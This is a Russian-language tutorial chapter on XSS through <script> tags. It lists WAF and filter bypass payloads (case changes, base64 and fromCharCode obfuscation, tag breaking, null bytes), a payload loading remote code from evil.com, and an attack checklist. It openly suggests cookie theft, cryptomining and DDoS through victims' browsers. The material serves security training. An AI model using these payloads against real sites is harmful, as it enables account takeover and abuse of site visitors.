Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • `<script>` тэги: олдскульная классика
Если бы у XSS был свой пантеон богов, то тег <script> занимал бы в нём место Зевса. Это прародитель, альфа и омега, тот самый OG (Original Gangster) из мира веб-уязвимостей. Все эти новомодные onerror , <svg> , DOM Clobbering — это его дети и внуки. Но, как и с хорошим виски или старым рок-н-роллом, классика не стареет. И сегодня, в 2025 году, грамотно вставленный тег <script> всё так же способен положить на лопатки самые навороченные веб-приложения. Давай разберём, почему этот старичок до сих пор в строю и как заставить его работать на тебя.
Анатомия зверя: почему это так просто и так мощно
Суть атаки с <script> гениальна в своей простоте. Ты просто говоришь браузеру: “Эй, парень, остановись читать этот скучный HTML. Сейчас будет JavaScript. Выполняй!”.
Вот как это работает на молекулярном уровне:
1. Браузер парсит HTML-документ сверху вниз.
2. Натыкается на открывающий тег <script> .
3. Он мгновенно переключает свой парсер из режима “HTML” в режим “JavaScript”.
4. Всё, что находится между <script> и </script> , он воспринимает как чистый, нативный JavaScript-код и исполняет его немедленно.
5. Встретив </script> , он возвращается в режим парсинга HTML.
Это даёт тебе прямую, беспрепятственную инъекцию кода. Не нужно никаких ухищрений с событиями, никаких кликов от пользователя, никаких ошибок загрузки ресурсов. Просто, грубо и эффективно. Твой код выполняется в контексте целевого сайта, получая полный доступ к его DOM, cookies (если не HTTPOnly), localStorage и всему, до чего может дотянуться JavaScript в рамках Same Origin Policy.
Олдскул — не значит бесполезно: обход фильтров
“Но ведь любой школьник знает, что надо фильтровать <script> !” — скажешь ты. И будешь прав. Большинство WAF’ов и серверных фильтров первым делом нацеливаются именно на этот тег. Но в этом и заключается игра. Разработчики защиты ставят забор, а мы ищем в нём дыры.
Вариация 1: Игры с регистром (Case Manipulation)
Самый тупой, но на удивление часто работающий метод. Многие самописные фильтры на основе регулярных выражений проверяют только строчные буквы.
Классика:
<script>alert(1)</script>
Обход:
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
HTML по своей природе нечувствителен к регистру имён тегов. Если админ написал preg_replace('/<script>/i', '', $input) без флага i (ignore case), он уже проиграл. Всегда пробуй этот вариант первым.
Вариация 2: Внешний источник ( src атрибут)
Зачем пихать весь свой зловредный код прямо в инъекцию? Это шумно и легко детектится. Гораздо элегантнее — подгрузить его с твоего сервера.
Payload:
<script src="https://evil.com/payload.js"></script>
Почему это круто:
• Скрытность: Фильтр видит только ссылку, а не document.cookie или eval . Это выглядит менее подозрительно.
• Объём: Ты можешь подгрузить хоть 1000 строк кода. Попробуй-ка запихнуть столько в один input.
• Гибкость: Ты можешь поменять payload.js на своём сервере в любой момент, не делая повторную инъекцию. Сегодня ты крадёшь куки, завтра — майнишь крипту, послезавтра — используешь браузер жертвы для DDoS.
• Маскировка: Используй сервисы сокращения URL (типа bit.ly ), чтобы сделать ссылку ещё короче и незаметнее.
Вариация 3: Кодировки и обфускация
Даже если тег <script> разрешён, фильтр может проверять его содержимое. И тут начинается настоящее искусство.
Обфускация содержимого скрипта
Задача: Спрятать alert(1) от фильтра.
С помощью eval и atob (Base64):
<script>eval(atob('YWxlcnQoMSk='))</script>YWxlcnQoMSk= — это alert(1) , закодированное в Base64. atob() его декодирует, а eval() выполняет. Классика.
С помощью String.fromCharCode :
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
Мы просто собираем строку alert(1) из её ASCII-кодов. WAF, ищущий строку “alert”, идёт лесом.
С помощью конкатенации:
<script>window['a'+'lert'](1)</script>
Собираем имя функции из частей. Для фильтра это просто две строки.
HTML-кодирование самого тега
Иногда сервер сначала декодирует HTML-сущности, а потом вставляет результат в страницу. Это редкая удача, но проверять стоит.
Payload:
<script>alert(1)</script>
<script>alert(1)</script>
Вариация 4: Игры с синтаксисом HTML
HTML — очень прощающий язык. Этим можно и нужно пользоваться.
Разрыв тега (Tag Breaking):
Некоторые WAF’ы работают по принципу “нашёл и заменил”.
<scr<script>ipt>alert(1)</scr</script>ipt>
Если WAF вырежет внутренний <script> , останется <script>alert(1)</script> .
Лишние символы и пробелы:
<script >alert(1)</script>
<script/src="https://evil.com/x.js"></script>
<script
src="https://evil.com/x.js"
>
</script>
Пробелы, табы, переносы строк внутри тега (но до > ) абсолютно легальны и могут сбить с толку примитивные парсеры.
Null-байт ( %00 ):
<scri%00pt>alert(1)</scri%00pt>
В некоторых старых системах (особенно написанных на C/C++) null-байт может оборвать строку, и фильтр просто не увидит слово script целиком. Сегодня это работает редко, но в легаси-системах — вполне.
Чеклист для атаки с <script>
Вот твой пошаговый план действий, когда ты в HTML-контексте:
1. Пробуй в лоб: <script>alert(document.domain)</script> Если сработало, тебе повезло.
2. Пробуй внешний источник: <script src="https://твой.домен/test.js"></script> В test.js положи alert(1) .
3. Пробуй игры с регистром: <ScRiPt sRc="https://твой.домен/test.js"></sCrIpT>
4. Пробуй обфусцировать код внутри: <script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
5. Пробуй разрыв тега и мусор: <script <nonsense> >alert(1)</script> <script/x>alert(1)</script>
6. Пробуй разные кодировки HTML: <script>...</script>
Когда <script> — твой враг
Важно помнить о контексте. Если твоя инъекция попадает внутрь другого тега или, что ещё хуже, внутрь существующего скрипта, то <script> тебе не поможет.
Неправильно:
<!-- Твой ввод попадает в атрибут -->
<a href="<script>alert(1)</script>">Link</a>
<!-- Твой ввод попадает в JS-строку -->
<script>
var page = '<script>alert(1)</script>';
</script>
В этих случаях браузер воспримет твой <script> как обычный текст. Здесь нужны другие векторы атаки, о которых мы поговорим в следующих главах.
Заключение
Тег <script> — это дедушка XSS. Его пытаются заблокировать, отфильтровать, объявить вне закона. Но он, как Терминатор, возвращается снова и снова в разных обличиях. Он прост, надёжен и бьёт точно в цель.
Изучение техник обхода фильтров для <script> — это лучшая тренировка для любого эксплойт-разработчика. Это учит тебя думать, как WAF, предугадывать логику защиты и находить в ней изъяны. И хотя в нашем арсенале есть и более изощрённые инструменты, иногда нет ничего лучше старого доброго <script> , чтобы показать, кто здесь главный.
